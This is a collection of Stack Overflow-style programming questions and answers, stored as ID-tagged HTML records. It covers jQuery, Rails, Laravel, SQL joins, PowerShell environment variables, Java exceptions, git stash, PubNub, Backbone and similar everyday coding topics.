35132355	0	 <p>Try this method:</p> <p><a href="http://sldn.softlayer.com/reference/services/SoftLayer_Product_Package/getObjectStorageDatacenters" rel="nofollow">http://sldn.softlayer.com/reference/services/SoftLayer_Product_Package/getObjectStorageDatacenters</a></p> <p>here a rest example:</p> <pre><code>URL: https://api.softlayer.com/rest/v3.1/SoftLayer_Product_Package/206/getObjectStorageDatacenters Method: Get </code></pre> <p>Regards</p>
31669401	0	How to get the last word of a sentence using Jquery <p>How can I get the last word of a sentence in Jquery?</p> <p><strong>Eg:</strong> <code>get the last word of a sentence</code> should return <code>sentence</code></p> <p><code>get the last word</code> should return <code>word</code></p>
1293607	0	 <pre><code>class MyModel &lt; ActiveRecord::Base after_update :do_something attr_accessor :should_do_something def should_do_something? should_do_something != false end def do_something if should_do_something? ... end end end y = MyModel.new y.save! # callback is triggered n = MyModel.new n.should_do_something = false n.save! # callback isn't triggered </code></pre>
9336736	0	 <p>You could set a variable outside this code:</p> <pre><code>var clickedCarousel = false; $esCarousel.show().elastislide({ imageW : 240, onClick : function( $item ) { if( anim ) return false; anim = true; // only in the FIRST CLICK click show wrapper (expected but don't work) if(!clickedCarousel) { _addImageWrapper(); clickedCarousel = true; } // on click show image _showImage($item); // change current current = $item.index(); } }); </code></pre> <p>Does this fit your need?</p> <p><strong>UPDATE:</strong> Regarding this update:</p> <p>UPDATE: When I close (close with fadeOut) It won't open again! It must be because the carousel is already been clicked… how can I “reset” the click?</p> <p><a href="http://api.jquery.com/fadeOut/" rel="nofollow">fadeOut()</a> takes a callback of this form:</p> <pre><code>obj.fadeOut( [duration] [, callback] ) </code></pre> <p>callback can be an inline function or a predefined one, so you could use this (inline):</p> <pre><code>$navClose.on('click.rgGallery', function( event ) { $('.rg-image-wrapper').fadeOut(2000,function(){ clickedCarousel = false; // reset to false after fade out is complete }); return false; }); </code></pre> <p>Does that help?</p>
8426952	0	 <p>Please use the custom <a href="http://help.devexpress.com/#WindowsForms/CustomDocument1498" rel="nofollow">numeric mask</a> on your column editor:</p> <pre><code>this.gridColumn1.ColumnEdit = this.repositoryItemTextEdit1; //... this.repositoryItemTextEdit1.Mask.EditMask = "###,###,###,##0.0##;(###,###,###,##0.0##)"; this.repositoryItemTextEdit1.Mask.MaskType = DevExpress.XtraEditors.Mask.MaskType.Numeric; this.repositoryItemTextEdit1.Mask.UseMaskAsDisplayFormat = true; </code></pre>
1870082	0	Really complex LINQ (to SQL) query example <p>We're thinking about adding more LINQ tests for ORMBattle.NET, but have no more ideas. All LINQ tests there are checking common LINQ functionality:</p> <ul> <li>Any test must pass on LINQ to IEnumerable</li> <li>For any test, there must be at least one ORM, on it passes (actually it doesn't matter if it is listed @ ORMBattle or not).</li> </ul> <p>Currently the goal of LINQ test sequence is to <em>automatically</em> compute LINQ implementation coverage score.</p> <p><strong>Prerequisites:</strong></p> <ul> <li><a href="http://code.google.com/p/ormbattle/source/browse/trunk/Tests/Linq/Linq2Sql.generated.cs" rel="nofollow noreferrer">Code of tests for LINQ to SQL is here</a>. This must give some imagination of what's already covered.</li> <li>Tests for other tools (actually they're generated by <a href="http://code.google.com/p/ormbattle/source/browse/trunk/Tests/Linq/LinqTests.tt" rel="nofollow noreferrer">this T4 template</a>) are <a href="http://code.google.com/p/ormbattle/source/browse/#svn/trunk/Tests/Linq" rel="nofollow noreferrer">here</a>.</li> </ul> <p>If you have any ideas on what can be added there, please share them. I'll definitely accept <em>any</em> example of LINQ query that satisfies above requirements, and possibly - some good idea related to improvement of test suite, that <em>can be implemented</em> (so e.g. if you'd suggest us to manually study the quality of translation, this won't work, because we can't automate this).</p>
9533542	0	 <p>I'm not quite sure if I understood your question, but, can't you serialize your commands and send them through your sockets? </p> <p>An easier approach would be a <a href="http://msdn.microsoft.com/en-us/library/ms731758.aspx" rel="nofollow">self hosted wcf service</a>, as it will free you from implementing communication details.</p>
9402799	0	 <p>The <code>JList</code> component is backed by a list model. So the only recommended way to remove an item from the list <em>view</em> is to delete it from the model (and refresh the view).</p>
27123183	0	 <p>I tried with this and it works.</p> <p>In routes:</p> <pre><code>Route::group(array('before' =&gt; 'auth', 'after' =&gt; 'no-cache'), function() { Route::get('dashboard', array('as' =&gt; 'getDashboard', 'uses' =&gt; 'DashboardController@getIndex')); Route::get('logout', array('as' =&gt; 'getLogout', 'uses' =&gt; 'LoginController@getLogout')); Route::group(array('prefix' =&gt; 'users'), function() { Route::get('users', array('as' =&gt; 'getUsers', 'uses' =&gt; 'UsersController@getIndex', 'before' =&gt; 'hasAccess:users.index')); }); }); </code></pre> <p>In filters:</p> <pre><code>Route::filter('no-cache',function($route, $request, $response){ $response-&gt;headers-&gt;set('Cache-Control','nocache, no-store, max-age=0, must-revalidate'); $response-&gt;headers-&gt;set('Pragma','no-cache'); $response-&gt;headers-&gt;set('Expires','Fri, 01 Jan 1990 00:00:00 GMT'); }); </code></pre>
11066168	0	 <pre><code>QMAKE_CXXFLAGS += -std=c++0x </code></pre> <p>Results in an error because you're not using the MinGW compiler. "D9002: Ignoring unknown option <code>-std=c++0x</code>" is an error from the MSVC compiler.</p> <p>In QtCreator, go to the projects tab(on the left) and change the toolchain you're using. If it hasn't auto-detected MinGW, you're going to have to add it yourself by clicking on the manage button.</p>
36724634	0	Need help combining SQL queries <pre><code>SELECT tableA.col1, tableA.col2, LEFT(tableB.col3, 4) as person FROM tableA LEFT JOIN tableB ON tableB.col1 = tableA.col1 AND tableB.col2 = tableA.col2 WHERE tableA.col3 = '000000' AND tableA.col4 &lt;&gt; '' AND person = 'Zeus' ORDER BY tableA.col1, tableA.col4 ASC; --- col1 col4 person 001 abc Zeus 002 abc Zeus 003 xyz Zeus 004 xyz Zeus </code></pre> <p>+</p> <pre><code>SELECT tableC.col1, SUM(tableC.col2) as cost FROM tableC WHERE tableC.col3 = 'L' GROUP BY tableC.col1, tableC.col3; --- col1 cost 001 23462 002 25215 003 92381 004 29171 </code></pre> <p>=</p> <pre><code>col1 col4 person cost 001 abc Zeus 23462 002 abc Zeus 25215 003 xyz Zeus 92381 004 xyz Zeus 29171 </code></pre> <p>How do I do this? I tried putting the second query as a nested select in the top one, but I couldn't get it to work. Both result sets share the same <code>col1</code> values, which are unique, so I guess they need to be joined on that? And ultimately the <code>person</code> is where the query will differ every time I run it.</p>
21650968	0	 <p>It depends on the intent of <code>returns_the_hash</code></p> <p>If it changes and all of a sudden returns</p> <pre><code>{ :lorem =&gt; "ipsum", :foo =&gt; "bar", :baz =&gt; "qux", :options =&gt; { :oof =&gt; "rab", :zab =&gt; "xuq", }, } </code></pre> <p>Is that a bug that it returned lorem/ipsum or is it ok? </p> <p>If that indicates a bug, then your <strong>explicit</strong> and <strong>implicit</strong> tests wouldn't catch it, while the <strong>exact</strong> test would catch it. </p> <p>If that situation is not a bug, then you have more flexibility in deciding how important those other elements are to you and whether it makes sense for the tests to require less maintenance. </p> <p>It depends on how the data is used. For example, if all the data in the hash eventually shows up to the user, then your tests should be more stringent on what data is actually being returned (the <strong>exact</strong> test.)</p>
30923131	0	param is missing or the value is empty: item <p><strong>items_controller.rb</strong></p> <pre><code>class ItemsController &lt; ApplicationController def index @items = Item.all render text: @items.map{ |i| "#{i.name}: #{i.price}" }.join('&lt;br/&gt;') end def create item_params = params.require(:item).permit(:name, :description, :price, :real, :weight) @item = Item.create(item_params) render text: "#{@item.id}: #{@item.name}(#{!@item.new_record?})" end end </code></pre> <blockquote> <p>error : param is missing or the value is empty: item</p> <p>Rails.root: E:/work/my_store_2</p> <p>Application Trace | Framework Trace | Full Trace app/controllers/items_controller.rb:9:in `create' Request</p> <p>Parameters:</p> <p>{"name"=>"car1", "description"=>"good car", "price"=>"500000", "weight"=>"0", "real"=>"1"}</p> </blockquote> <p><strong>console</strong></p> <pre><code>Started GET "/items/create?name=car1&amp;description=good+car&amp;price=500000&amp;weight=0&amp;real=1" for 127.0.0.1 at 2015-06-18 21:25:39 +0300 Processing by ItemsController#create as HTML Parameters: {"name"=&gt;"car1", "description"=&gt;"good car", "price"=&gt;"500000", "weight"=&gt;"0", "real"=&gt;"1"} Completed 400 Bad Request in 2ms ActionController::ParameterMissing (param is missing or the value is empty: item): app/controllers/items_controller.rb:9:in `create' </code></pre> <p><strong>where is my mistake?</strong></p>
25899116	0	Powershell Environment Setup <p>This is a very quick question because I'm nervous to break my batch file/java environment or make my laptop explode.</p> <p>I used to used to execute a .bat file from cmd.exe to set my environment to java which worked and that but now I've upgraded to Windows Powershell.</p> <p>I've created a Powershell .ps version of the .bat file to set my java environment path as bellow.</p> <pre><code>echo "setting environment to Java" $env:path="$env:Path;C:\Program Files\Java\jdk1.8.0\bin" </code></pre> <p>This works fine but I was wondering if it's possible to include a second line to add the JDBC to the classpath as well</p> <pre><code>echo "setting environment to Java" $env:path="$env:Path;C:\Program Files\Java\jdk1.8.0\bin" $env:path="$env:Path;C:\Program Files (x86)\MySQL\MySQL Connector J" </code></pre> <p>just wanted a second opinion to avoid breaking everything (which I have done before).</p> <p>Will this end up setting my environment and adding an additional classpath or will it just overwrite the environment with just the MySQL Connector path.</p>
5480650	0	 <p>Try this:</p> <pre><code>imageView.opaque = NO; imageView.backgroundColor = [UIColor clearColor];</code></pre> <p>Also, the image used to mask should be black and white (not transparent).</p>
12665688	0	 <p>You are checking for <code>Submit</code> in <code>$_POST</code>, but the method specified in the form is <code>GET</code>.</p> <p>To have it work, change the PHP code to look for <code>$_GET['Submit']</code>.</p> <p>(But I'd move instead everything, form method included, to <code>POST</code>).</p> <p>That said, your script seems to have been pasted twice, the second version using <code>$q</code> instead of <code>$trimmed</code> (is <code>$q</code> defined?), and a SQL table called 'table' instead of 'questions':</p> <pre><code>// get results $query = "SELECT * FROM table WHERE question LIKE '%$q%' OR name LIKE '%$q%' or detail like '%$q%'"; $result = mysql_query($query) or die("Couldn't execute query"); </code></pre>
25828708	0	 <p>Ok so I fixed the mins subtracting but I am still confused on reporting the ticket. And where do I set pm and pc</p>
24901426	0	 <h1>PubNub Unsubscribe All Users from a Specific Channel</h1> <p>Use a control channel to specify which channels all users should subscribe to.</p> <pre><code>// Subscribe to 'control' channel pubnub.subscribe({ channel : 'control', message : function(command) { // Unsubscribe Command if (command.type == 'unsubscribe') return pubnub.unsubscribe({ channel : command.channel }); } }) // Subscribe to other channels pubnub.subscribe({ channel : 'ch1,ch2', message : function(msg) { console.log(msg) } }) </code></pre> <p>This will signal all users listening on the <code>control</code> channel to unsubscribe from a specific channel name. This works pretty well out of the box. And the signal you would send to unsubscribe will look like this:</p> <pre><code>pubnub.publish({ channel : 'control', message : { command : 'unsubscribe', channel : 'channel_to_unsubscribe' } }) </code></pre>
14197211	0	 <p>Technically, the distinction is not really made between "unrecoverable error" and "recoverable error", but between checked exceptions and unchecked exceptions. Java <em>does</em> distinguish between them as follows:</p> <ul> <li>you <em>must</em> declare a checked exception in your <code>throws</code> clause; if using a method which throws a checked exception in a <code>try</code> block, you must either <code>catch</code> said exception or add this exception to your method's <code>throws</code> clause;</li> <li>you <em>may</em> declare an unchecked exception in your <code>throws</code> clause (not recommended); if using a method which throws an unchecked exception in a <code>try</code> block, you <em>may</em> <code>catch</code> that exception or add this exception to your method's <code>throws</code> clause (not recommended either).</li> </ul> <p>What is certainly not recommended, unless you <em>really</em> know what you are doing, is to "swallow" any kind of unchecked exception (ie, <code>catch</code> it with an empty block).</p> <p><code>Exception</code> is the base checked exception class; <code>Error</code> and <code>RuntimeException</code> are both unchecked exceptions, and so are all their subclasses. You will note that all three classes extend <code>Throwable</code>, and the javadoc for <code>Throwable</code> states that:</p> <blockquote> <p>For the purposes of compile-time checking of exceptions, Throwable and any subclass of Throwable that is not also a subclass of either RuntimeException or Error are regarded as checked exceptions.</p> </blockquote> <p>Classical examples of (in)famous unchecked exceptions:</p> <ul> <li><code>OutOfMemoryError</code> (extends <code>Error</code>);</li> <li><code>StackOverflowError</code> (extends <code>Error</code>);</li> <li><code>NullPointerException</code> (extends <code>RuntimeException</code>);</li> <li><code>IllegalArgumentException</code> (extends <code>RuntimeException</code>);</li> <li>etc etc.</li> </ul> <p>The only real difference between <code>Error</code> and <code>RuntimeException</code> is their estimated severity level, and is a "semantic" difference, not a technical difference: ultimately, both behave the same. Some IDEs (Intellij IDEA comes to mind) will also yell at you if you catch an <code>Error</code> but do not rethrow it.</p>
30327271	0	 <p>Another possible workaround is instead of <code>Visibility</code> property use <code>Opacity</code>. In this case calling <code>Focus()</code> actually sets focus.</p>
4171212	0	 <p>The result shows that dot is more preferable if there are no variables or $ symbol involved which is around 200% faster. On the other hand, commas will help to increase around 20%-35% efficiency when dealing with $ symbols.</p> <p><a href="http://hungred.com/useful-information/php-micro-optimization-tips/" rel="nofollow">source</a></p>
2778233	0	 <p>You should be using <a href="http://ruby-doc.org/core/classes/Kernel.html#M005965" rel="nofollow noreferrer"><code>Kernel::Float</code></a> to convert the number; on invalid input, this will raise an error instead of just "trying" to convert it.</p> <pre><code>&gt;&gt; "10.5".to_f =&gt; 10.5 &gt;&gt; "asdf".to_f # do you *really* want a zero for this? =&gt; 0.0 &gt;&gt; Float("asdf") ArgumentError: invalid value for Float(): "asdf" from (irb):11:in `Float' from (irb):11 &gt;&gt; Float("10.5") =&gt; 10.5 </code></pre>
31303423	0	 <p>You need to quote the string, because your shell is eating the content of the <code>{}</code> as an expansion. So use <code>git stash apply 'stash@{2}'</code>. Alternatively you can use the SHA of the stash, or next time when you apply it, you can name the stash yourself.</p>
28365063	0	 <p>Two quick thoughts:</p> <ol> <li><p>You can give some threshold for the confidence value you want. For example, mallet is saying that Page 1 belongs to Class A with 90% confidence, accept it. If it is saying that Page 2 belongs to Class C, with 60% confidence, and that is the best value, may be, reject that suggestion. You can get the scores of classification through the function-getClassificationScores (<a href="http://mallet.cs.umass.edu/api/cc/mallet/classify/MaxEnt.html#getClassificationScores(cc.mallet.types.Instance,%20double[])" rel="nofollow">documentation: </a><a href="http://mallet.cs.umass.edu/api/cc/mallet/classify/MaxEnt.html#getClassificationScores(cc.mallet.types.Instance" rel="nofollow">http://mallet.cs.umass.edu/api/cc/mallet/classify/MaxEnt.html#getClassificationScores(cc.mallet.types.Instance</a>, double[])</p></li> <li><p>You can you scikit-learn in python. I have heard that if it doesn't know which class your page belongs to, it will tell <code>NA</code>. </p></li> </ol>
4074857	0	merge and match two csv files with .net <p>i've got two csv files that i want to merge. Basically, i've got my source file, and the second file will add information to that file using a primary key that they both share.</p> <p>I've done this using v-lookup but since this will be a weekly process, i want to automate it using vb.net or C#. any ideas?</p> <p>Thanks</p>
4731341	0	 <p>NSOutlineView is an NSTableView subclass. Therefore -rowsInRect: can be combined with -visibleRect (from NSView). Use -levelForRow: to determine the level.</p>
13308828	0	 <p>Try changing</p> <p>move_uploaded_file($file_tmp, '/members/'); in move_uploaded_file($file_tmp, 'members/' + $filename);</p> <p>And make sure to set permission right with chamod. chmod -R 0755 members. Also make sure that you're app have access at $file_temp location and read/write permision</p>
30672381	0	 <p>11.2 sums it up for iOS, you must use In-App Purchase for purchase from within the app. You may not direct or link the user to an outside payment option.</p> <p>It is possible to use payments completely outside the app in a similar manner to Amazon Books but there can to be a link or reference to that service. Take a good hard look at Amazon Kindle app.</p>
40820693	0	Two different values at the same memory address - assembly <p>I have some code in assembly which behaves a little bit strange. I have a C extern function that calls with <em>asm</em> another function from an .asm file. This C function puts on the stack three addresses used by my function from .asm file. All went well untill this appeared:</p> <pre><code>; Let's say we take from the stack first parameter from my C function. ; This parameter is a string of bytes that respect this format: ; - first 4 bytes are the sign representation of a big number ; - second 4 bytes are the length representation of a big number ; - following bytes are the actual big number section .data operand1 dd 0 section .text global main main: push ebp mov ebp, esp mov eax, [ebp + 8] ; Here eax will contain the address where my big number begins. lea eax, [eax + 8] ; Here eax will contain the address where ; my actual big number begins. mov [operand1], eax PRINT_STRING "[eax] is: " PRINT_HEX 1, [eax] ; a SASM macro which prints a byte as HEX NEWLINE PRINT_STRING "[operand1] is: " PRINT_HEX 1, [operand1] NEWLINE leave ret </code></pre> <p>When running this code, I get at the terminal the correct output for [eax], and for [operand1] it keeps printing a number which will not change if I modify that first parameter of my C function. What am I doing wrong here?</p>
5323995	0	how to get the url/xmlhttprequest that loads to get the data from a server? <p>i have this problem that i can't solve for days now...here is my code. i want to get the xmlhttprequest or the url that loads everytime i clicked the $("#btnQuery"). what happened here is when i clicked the button, it will display the data in jqgrid from the server. </p> <pre><code> $("#btnQuery").click( function() { var params = { "ID": $("#eID3").val(), "dataType": "data" } var url = 'process.php?path=' + encodeURI('project/view') + '&amp;json=' + encodeURI(JSON.stringify(params)); $('#tblD').setGridParam({ url:url, datatype: ajaxDataType, }); $('#tblD').trigger('reloadGrid'); $('#firstur').append('the url: ' + url+'&lt;br&gt;');//the xmlhttpRequest should disply here in my html $('#secur').append('response: ' + url+'&lt;br&gt;'); //the response of xmlhttpRequest should display here in my html }); </code></pre> <p>here's the code of my process.php. this is where i'm going to get the data for my jqgrid.</p> <pre><code> &lt;?php print(file_get_contents("http://localhost/" . $_GET["path"] . "?json=" . ($_GET["json"]))); ?&gt; </code></pre> <p>in firebug console, the xmlhttprequest/location that displays is: <a href="http://localhost/process.php?....%22:%22%22,%22Password%22:%22%22%7D" rel="nofollow">http://localhost/process.php?....%22:%22%22,%22Password%22:%22%22%7D</a></p> <p>and it's response body is simething like:</p> <pre><code>{"result":{"ID":"1C1OMk123tJqzbd"}, "time_elapsed":0} </code></pre> <p>does anybody here knows how to get the url/xmlhttprequest that loads to get the data? and its response body? i wan to display it in my html body aside from my jqgrid...is there anyone who can help me?..please... thank you so much</p>
4867515	0	 <p>This is strange, if I'm reading your code correctly. Is there a reason that you can't maintain the collection and modify it (as opposed to re-creating it) so that you don't need to <code>RaisePropertyChanged</code> at all? That's what <code>ObservableCollection(of T)</code> does, after all. </p> <p>As I'm reading it, it might as well be an <code>IEnumerable(of T)</code>.</p> <p>(Creating a new <code>ObservableCollection(of T)</code> in a property getter is almost always a mistake. A <code>ReadOnlyObservableCollection(of T)</code> makes a lot more sense in that context.)</p>
30308560	0	 <p>This is happening because of less information. I think you want to do this:</p> <pre><code>In [7]: x = Symbol('x', real=True) In [8]: (log(exp(exp(x)))).simplify() Out[8]: exp(x) </code></pre>
36737513	0	 <p>As you said in the answers above, the field got manually removed from the database, so the migration tries to delete a field that is no longer existing in the database.</p> <p>Normally you should never delete fields directly in the db but use the migrations instead. As the field is already gone you can now only fake the migration to tell django that the changes were already made:</p> <pre><code>manage.py migrate rentals 0002 --fake </code></pre> <p>Make sure though that you are at migration 0001, otherwise that would be faked aswell.</p> <p>just to be sure, you could run the following command first:</p> <pre><code>manage.py migrate rentals 0001 </code></pre>
40672286	0	Android show GPS position on "ground" <p>I want to make a GPS application that shows a flat plain as ground and arrow (as user position) in the middle, while it should be possible to move along, the arrow should stay in the middle of screen and the ground should move. Also with a possibility of drawing on this "ground". Something like this:</p> <p><a href="https://i.stack.imgur.com/OdEHD.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OdEHD.jpg" alt="."></a></p> <p>I have GPS coordinates from external GPS through USB ports, so I would like to use them instead of phones GPS - I already have that one part. I am really stuck on how can I show the ground and move arround with drawing a path. I do not want to use google maps, because I dont need a map. Is something like this possible to do? I do not need 3D, a 2D would be OK as well. Please, help me on showing the ground and moving arround with a location (or I can convert my location to carthesian coordinations). </p>
13792488	0	 <pre><code>CC=gcc CPPFLAGS=-I include VPATH=src include main: main.o method1.o method2.o method3.o method4.o -lm $(CC) $^ -o $@ main.o: main.c main.h $(CC) $(CPPFLAGS) -c $&lt; method1.o: method1.c $(CC) $(CPPFLAGS) -c $&lt; method2.o: method2.c $(CC) $(CPPFLAGS) -c $&lt; method3.o: method3.c $(CC) $(CPPFLAGS) -c $&lt; method4.o: method4.c $(CC) $(CPPFLAGS) -c $&lt; </code></pre> <p>it worked like this</p>
20958258	0	Is throwing InterruptedException essential when stopping threads? Can I use another exception type? <p>I have tournament code for students' codes. Therefore I have no control over the students' codes.</p> <p>I need to implement timeout for students' code calls (they run in separate threads). So I instrumented their code and inserted right after loop and method definitions the following code:</p> <pre><code>if (Thread.interrupted()) throw new InterruptedException(); </code></pre> <p>The problem is <code>InterruptedException</code> is checked, and therefore I have to add <code>throws</code> declarations to all methods, which can break overriding methods' signatures.</p> <p>So I thought I could not throw <code>InterruptedException</code>, but an unchecked one, e.g. <code>RuntimeException</code>. Can I do it? Will there be some difference?</p> <p>In my tournament code I start the students' code as a futrure in an <code>ExecutorService</code> and try to get the result using <code>get()</code> with timeout.</p>
39367174	0	 <p>If you want to Read value of PBI Slicer/ Filter and recalculate the Data and Generate Graph accordingly, R Script Visual is the answer.</p> <ul> <li>Create R script using loaded columns and filters, </li> <li>Make sure this generates visual, else ERROR. </li> <li>During calculation Generated DF are not loaded in Datasource But can be used to Refresh the Graph.</li> <li>The visual, reads data from filter, runs script generates DF and hence Dynamic graphs.</li> </ul> <p><a href="https://i.stack.imgur.com/QQAZw.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QQAZw.png" alt="enter image description here"></a></p>
24932015	0	 <p>the empty view positioning in the layout is done 100% by the developer. Yes, that is by design, Android in general favours flexibility than easy of coding.</p> <p>If you look in the <a href="https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master/core/java/android/widget/AdapterView.java" rel="nofollow"><code>AdapterView</code> source code</a> you'll see what I'm talking about, around line 737 you'll see this</p> <pre><code>mEmptyView.setVisibility(View.VISIBLE); </code></pre> <p>and this</p> <pre><code>if (mEmptyView != null) mEmptyView.setVisibility(View.GONE); </code></pre> <p>that means, all that the <code>ListView</code> do with the <code>emptyView</code> object you're passing is calling <code>setVisibility(boolean)</code> on it.</p> <p>So, now that we know it's just a normal layout, with no special treatment it's easier to handle it. If you don't want to write on your layout again and again the same XML for empty view, you can (should) have a empty_view.xml with just the empty view and inside each of your XML with the list you position the empty_view.xml using the <code>&lt;include&gt;</code> tag. Like this: <a href="http://developer.android.com/training/improving-layouts/reusing-layouts.html" rel="nofollow">http://developer.android.com/training/improving-layouts/reusing-layouts.html</a> and on the code you simply call:</p> <pre><code>listview.setEmptyView(root.findViewById(R.id.empty_view)); </code></pre> <p>or you can do it by code still... but that will involve setting layout params for the "parent" to proper organise it.</p> <p>hope it helps.</p>
38947552	0	 <p><code>hobby</code> is a <code>String</code> and <code>String</code>s don't have a method called <code>add</code> in Java.</p> <p>You should change <code>hobby</code>'s type from <code>String</code> to <code>String[]</code> because there is a <code>hobby[rando]</code> in the code that indicates <code>hobby</code>'s type must be <code>String[]</code></p>
28779585	0	What's wrong with gcc version before 4.4 implementation on thread local storage? <p>I saw this, </p> <blockquote> <h1>warning "GCC versions before 4.4 implement thread_local storage incorrectly, so you can not use some parts of Loki."</h1> </blockquote> <p>in the loki library source code. More details on this page:</p> <p><a href="http://sourceforge.net/p/loki-lib/code/HEAD/tree/trunk/include/loki/ThreadLocal.h#l53" rel="nofollow">http://sourceforge.net/p/loki-lib/code/HEAD/tree/trunk/include/loki/ThreadLocal.h#l53</a></p> <p>So, What's wrong with gcc version before 4.4 implementation on thread local storage?</p>
11013373	0	Backbone error, Cannot read property 'c18' of undefined <p>I'm making a massive multi page backbone site.</p> <p>I'm sometimes re-using collections and views across multiple pages of the site, as if they were controls. I've now done something which is coming up with errors like this,</p> <p>Cannot read property 'c18' of undefined</p> <p>At the moment, the c18 is always the same.</p> <p>I'm also using backbone relational.</p> <p>Any ideas anyone?</p>
9835991	0	 <p>first, look at this: <a href="http://www.w3schools.com/jsref/jsref_replace.asp" rel="nofollow">http://www.w3schools.com/jsref/jsref_replace.asp</a> and then do not use stackoverflow for questions of this kind</p>
20365507	0	 <p>Why not just use the array you've created?</p> <pre><code> For(int i = 0; i&lt; sL.length; i++){ String wavFileName = sl[i] + ".wav"; // do whatever you need to do here } </code></pre> <p>For on demand (press a button get a specific sound) then Jeroen's idea of using a map will work.</p>
5605359	0	 <p>I'm fairly certain that <a href="http://code.google.com/p/wwwsqldesigner/" rel="nofollow"><code>WWWSQLDesigner</code></a> can do it for you. There's a demo <a href="http://ondras.zarovi.cz/sql/demo/" rel="nofollow"><code>here</code></a>. You'll need to download it and install it on a local server.</p>
20635273	0	 <p>You don't need to set the '!' at all - except you want force your sites to be crawled by search engines (see <a href="https://developers.google.com/webmasters/ajax-crawling/docs/specification?hl=de&amp;csw=1" rel="nofollow">GoogleDevelopers Spec</a>). Some people even say, these hash bangs are <a href="http://danwebb.net/2011/5/28/it-is-about-the-hashbangs" rel="nofollow">very bad UI practice</a>.</p> <p>Or is it a requirement for your application that its whole content is indexed by search engines ?</p>
17401981	0	 <p>I have made mistake when i add model to collection, I have added a type instead of instance of the type.</p> <pre><code>var backgridModel = Backbone.Model.extend({ }); </code></pre> <p>is the type i should have added </p> <p><code>var row = new backgridModel()</code> instead i have used <code>backgridModel</code> to create a new row.</p>
15320259	0	 <p>Ok i think i understand your problem :</p> <p>The after_destroy method in PictureFileCallbacks will be auto-magically called by rails :</p> <p>When rails destroys your PictureFile object, it will instantiate a PictureFileCallbacks object and try to run an after_destroy method in it.</p> <p>Everything works by convention, if you follow the naming properly everything will work out of the box.</p> <p>Try it on a dummy project, and if you have some trouble making this work come back with some code to show.</p>
26380336	0	 <p>This is most optimal way</p> <pre><code>if (is_array($data) &amp;&amp; isset($data['yes'])) { } </code></pre> <p>If you do <code>array_key_exists</code> without checking if <code>$data</code> is array, you will get error, because second parameter for the <code>array_key_exists</code> function must always be type of <code>array</code></p> <p><a href="http://php.net/manual/en/function.array-key-exists.php" rel="nofollow">http://php.net/manual/en/function.array-key-exists.php</a></p>
16194342	0	 <pre><code> describe ArticlesController do let(:user) do user = FactoryGirl.create(:user) user.confirm! user end describe "GET #index" do it "populates an array of articles of the user" do #how can i create an article of the user here sign_in user get :index assigns(:articles).should eq([article]) end it "renders the :index view" do get :index response.should render_template :index end it "assign all atricles to @atricles" do get :index assigns(:atricles).your_awesome_test_check # assigns(:articles) would give you access to instance variable end end end </code></pre>
11832795	0	android html links <p>Using this code <code>map.put(TAG_LINK, "" + Html.fromHtml(link));</code> i am able to parse json hyperlinks into my view. But the problem is it will only show me the word and i`m not able to click on it. For example if i have </p> <pre><code>&lt;a href="http://something"&gt; CLICK &lt;/a&gt; </code></pre> <p>, i can only see CLICK but i cant click it. I understand there is more to html.fromhtml to work, setMovementMethod. BUt i don't know how to use it with map.put. Can someone help me with this?</p>
20960384	0	 <p>A stop-gap measure would be to insert one (or several) line(s) of </p> <p>DoEvents</p> <p>after the change and before ActiveWindow....NextHeaderFooter. That command yields execution to the OS. That may give Word the time it needs to catch up. </p> <p>Of course, you would do better to avoid using ActiveWindow... altogether and iterate through the sections with a For loop.</p>
36569405	0	 <p>You can define the content of the <code>onOptionsItemSelected(MenuItem item)</code> method in a helper and then using flavors load the needed helper :</p> <pre><code>@Override public boolean onOptionsItemSelected(MenuItem item) { HelperPart.selectItem(this, item); } // Helper loaded for flavor "part1" static class MenuHelper{ public static boolean selectItem(Activity act, MenuItem item){ switch (item.getItemId()) { case R.id.action_reload: // TODO reload return true; default: return act.onOptionsItemSelected(item); } } } // Helper loaded for flavor "part2" and "full" static class MenuHelper{ public static boolean selectItem(Activity act, MenuItem item){ // Do nothing } } </code></pre>
12837275	0	How to stop my Custom Keyboard from 'floating' or being undocked on iPad <p>I have a custom Keyboard that gets displayed for a certain UITextField when I set the textField's inputView to my KeyboardView. The keyboard works fantastically well but it has become apparent that the keyboard will 'float' if the user has previously undocked the built in Apple Keyboard or indeed split it.</p> <p>I have searched for many hours for a way to ensure my custom keyboard does not act like this and instead stays docked to the bottom of the screen regardless as to whether the user has previously undocked the built in Apple Keyboard.</p> <pre><code>self.keyboardInputView = [[[KeyboardInputViewController_iPad alloc] initWithNibName:@"KeyboardInputViewController_iPad" bundle:[NSBundle mainBundle]] autorelease]; self.keyboardInputView.delegate = self; self.keyboardInputView.keyboardTextField = myTextField; myTextField.inputView = self.keyboardInputView.view; [myTextField becomeFirstResponder]; </code></pre>
23888102	0	 <p>The padding is likely part of the font, not the widget. Fonts need space above and below the space for average sized characters to make room for <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29" rel="nofollow">ascenders</a> and <a href="http://en.wikipedia.org/wiki/Descenders" rel="nofollow">descenders</a>. The larger the font, the more space that is needed . Without the space below, for example, where would the bottom part of a lowercase "g" or "y" go?</p>
987055	0	 <p>One of the ways to handle this is to write your DLL to return a SAFEARRAY of type Byte as the function result (VB arrays are OLE SafeArrays).</p> <p>To do this you have to read up on the SafeArray APIs and structures. I don't know of it myself, but the main things you'll need are the SAFEARRAYBOUND structure and the SafeArrayCreate API. What the API returns to you, you return to VBA. And you'll be done.</p>
16492535	0	 <p>Why not put the custom tool property back in to be able to rapidly test it? then take it out when you are happy?</p> <p>another option is to write a .tt file that consumes/includes that .tt to operate as your <a href="http://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop" rel="nofollow">REPL</a> harness</p>
32523773	0	 <p>Mentioned in Oracles <a href="https://docs.oracle.com/javase/tutorial/reflect/special/arrayComponents.html" rel="nofollow">Tutorial</a> this is easily achievable with <code>array.getClass().getComponentType()</code>. This returns the class of the instances in the array. </p> <p>Afterwards you can check it against the primitive class located inside each wrapper object. For example:</p> <pre><code>if (array.getClass().getComponentType().equals(Boolean.TYPE)) { boolean[] booleanArray = (boolean[]) array; } </code></pre>
9173264	0	 <p>According to the yaml <a href="http://yaml.org/type/set.html" rel="nofollow">specification</a> the set syntax is the following one : </p> <pre><code>- Person(paul): firstName: Paul lastName: Lumbergh children : !!set ? Person(bill) ? Person(jane) – </code></pre>
